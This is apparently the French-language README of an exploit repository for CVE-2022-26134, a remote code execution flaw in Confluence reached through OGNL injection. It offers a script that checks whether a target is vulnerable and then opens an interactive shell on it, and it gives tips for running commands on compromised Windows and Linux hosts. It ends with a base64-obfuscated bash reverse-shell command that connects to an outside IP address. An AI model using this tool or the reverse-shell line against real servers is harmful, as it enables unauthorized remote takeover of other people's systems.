sncker/cve-2022-26134[CVE-2022-26134]Confluence OGNL expression injected RCE with sandbox bypass.
Poc et exp de RCE par injection d'expression OGNL dans Confluence (CVE-2022-26134)
Ajout du contournement du sandbox, prise en charge des versions élevées.
Usage: python Confluence_cve_2022_26134_RCE.py http://example.com/
Le script vérifie automatiquement si la cible est vulnérable et ouvre un shell pseudo-interactif si c'est le cas.
Test sous Linux :
Test sous Windows :
Tapez simplement 'q' pour quitter.
Les paramètres de commande sont directement passés à la méthode runtime.exec, qui n'a pas le contexte du shell.
Donc.
Sous Windows, certaines commandes comme dir ne peuvent pas être exécutées directement, vous pouvez utiliser cmd.exe /c dir.
Sous Linux, certains symboles spéciaux ne fonctionnent pas. Si vous devez exécuter une commande avec des symboles spéciaux comme un reverse shell, vous pouvez l'encoder en base64 puis utiliser bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzg4ODggMD4mmQ==}|{base64,-d}|{bash,-i}.